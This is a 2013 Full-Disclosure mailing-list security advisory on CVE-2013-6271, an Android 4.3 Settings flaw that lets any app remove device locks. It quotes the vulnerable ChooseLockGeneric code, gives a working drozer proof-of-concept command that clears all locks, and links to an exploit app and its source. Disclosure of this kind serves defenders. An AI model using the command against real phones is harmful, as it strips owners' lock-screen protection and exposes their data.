[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <529DA71E.9010401@curesec.com>
Date: Tue, 03 Dec 2013 10:40:46 +0100
From: Curesec Research Team <crt@...esec.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: CVE-2013-6271 Remove Android Device Lock -
App published
Hi List,
please find an example app and sourcecode here:
https://www.curesec.com/data/binary/CRT-RemoveLocks.apk
https://www.curesec.com/data/binary/CRT-RemoveLocks.tar.bz2
Cheers,
CRT
Am 27.11.2013 20:16, schrieb Curesec Research Team:
> Please find a better readable version of the advisory here:
> https://cureblog.de/2013/11/755/
>
> Cheers,
> Curesec Research Team
>
> ==================================================
>
> CVE-2013-6271: Security Advisory – Curesec Research Team
>
> 1. Introduction
> Advisory ID: Cure-2013-1011
> Advisory URL: https://www.curesec.com/
> Affected Product: AndroidOS 4.3 / com.android.settings
> Affected Systems: Android
> Fixed in: N/A
> Fixed Version Link: N/A
> Vendor Contact: security@...roid.com
> Vulnerability Type: Permission Bypass / Design Error
> Remote Exploitable: No
> Reported to vendor: 11.10.2013
> Disclosed to public: 27.11.2013
> CVE: CVE-2013-6271
> Credentials: crt@...esec.com
>
> 2. Vulnerability Description
>
> The vulnerability described here enables any rouge app at any time to
> remove all existing device locks activated by an user. Curesec disclosed
> this vulnerability as Google Android Security Team was not responding
> any more about this issue.
>
> The bug exists on the “com.android.settings.ChooseLockGeneric class”.
> This class is used to allow the user to modify the type of lock
> mechanism the device should have. Android implements several locks, like
> pin, password, gesture and even face recognition to lock and unlock a
> device. Before a user can change these settings, the device asks the
> user for confirmation of the previous lock (e.x. If a user wants to
> change the pin or remove it it has to first enter the previou pin).
>
> Lets examine the following code extracted from the class:
>
> // Defaults to needing to confirm credentials
> <span style="background-color: #21e901;">final boolean
> confirmCredentials = getActivity().getIntent()</span>
> <span style="background-color:
> #21e901;">.getBooleanExtra(CONFIRM_CREDENTIALS, true);</span>
> <span style="background-color: #21e901;">mPasswordConfirmed
> = !confirmCredentials;</span>
>
> if (savedInstanceState != null) {
> mPasswordConfirmed =
> savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
> mWaitingForConfirmation =
> savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
> mFinishPending =
> savedInstanceState.getBoolean(FINISH_PENDING);
> }
>
> if (mPasswordConfirmed) {
> <span style="background-color:
> #21e901;">updatePreferencesOrFinish</span>();
> }
> …...
> private void updatePreferencesOrFinish() {
> Intent intent = getActivity().getIntent();
> int quality =
> intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
> if (quality == -1) {
> // If caller didn't specify password quality, show UI
> and allow the user to choose.
> quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
> MutableBoolean allowBiometric = new MutableBoolean(false);
> quality = upgradeQuality(quality, allowBiometric);
> final PreferenceScreen prefScreen = getPreferenceScreen();
> if (prefScreen != null) {
> prefScreen.removeAll();
> }
> addPreferencesFromResource(R.xml.security_settings_picker);
> disableUnusablePreferences(quality, allowBiometric);
> } else {
> <span style="background-color:
> #21e901;">updateUnlockMethodAndFinish</span>(quality, false);
> }
> }
>
> …...
> void updateUnlockMethodAndFinish(int quality, boolean disabled) {
> // Sanity check. We should never get here without confirming
> user's existing password.
> if (!mPasswordConfirmed) {
> throw new IllegalStateException("Tried to update
> password without confirming it");
> }
>
> final boolean isFallback = getActivity().getIntent()
>
> .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
> false);
>
> quality = upgradeQuality(quality, null);
>
> if (quality >=
> DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
> int minLength = mDPM.getPasswordMinimumLength(null);
> if (minLength < MIN_PASSWORD_LENGTH) {
> minLength = MIN_PASSWORD_LENGTH;
> }
> final int maxLength =
> mDPM.getPasswordMaximumLength(quality);
> Intent intent = new Intent().setClass(getActivity(),
> ChooseLockPassword.class);
> intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY,
> quality);
> intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY,
> minLength);
> intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY,
> maxLength);
> intent.putExtra(CONFIRM_CREDENTIALS, false);
>
> intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
> isFallback);
> if (isFallback) {
> startActivityForResult(intent, FALLBACK_REQUEST);
> return;
> } else {
> mFinishPending = true;
> intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
> startActivity(intent);
> }
> } else if (quality ==
> DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
> Intent intent = new Intent(getActivity(),
> ChooseLockPattern.class);
> intent.putExtra("key_lock_method", "pattern");
> intent.putExtra(CONFIRM_CREDENTIALS, false);
>
> intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
> isFallback);
> if (isFallback) {
> startActivityForResult(intent, FALLBACK_REQUEST);
> return;
> } else {
> mFinishPending = true;
> intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
> startActivity(intent);
> }
> else if (quality ==
> DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
> Intent intent = getBiometricSensorIntent();
> mFinishPending = true;
> startActivity(intent);
> } <span style="background-color: #ffff00;">else if (quality
> == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {</span>
> <span style="background-color:
> #ffff00;">mChooseLockSettingsHelper.utils().clearLock(false);</span>
> <span style="background-color:
> #ffff00;">mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);</span>
> <span style="background-color:
> #ffff00;">getActivity().setResult(Activity.RESULT_OK);</span>
> <span style="background-color: #ffff00;">finish();</span>
> } else {
> finish();
> }
> }
>
> This first piece of code allows the caller to actually control if the
> confirmation to change the lock mechanism is enable or not. We can
> control the flow to reach the updatePreferencesOrFinish() method and see
> that IF we provide a Password Type the flow continues to
> updateUnlockMethodAndFinish(). Above we can see that IF the password is
> of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and
> effectively unblocks the device.
>
> As a result any rouge app can at any time remove all existing locks.
>
> 3. Proof of Concept Codes
>
> For verification you can use drozer and test the following.
>
> #Disable all phone locks
> run app.activity.start --component com.android.settings
> com.android.settings.ChooseLockGeneric --extra boolean
> confirm_credentials false --extra integer "lockscreen.password_type" 0
>
>
> 5. Report Timeline
>
> 11.10.2013 Informed Vendor about Issue
> 12.10.2013 Mail from Vendor
> 18.10.2013 Mail to vendor, if any feedback exists, no response
> 11.11.2013 Mail to vendor, if any feedback exists, no response
> 19.11.2013 Mail to vendor, if any feedback exists, no response
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists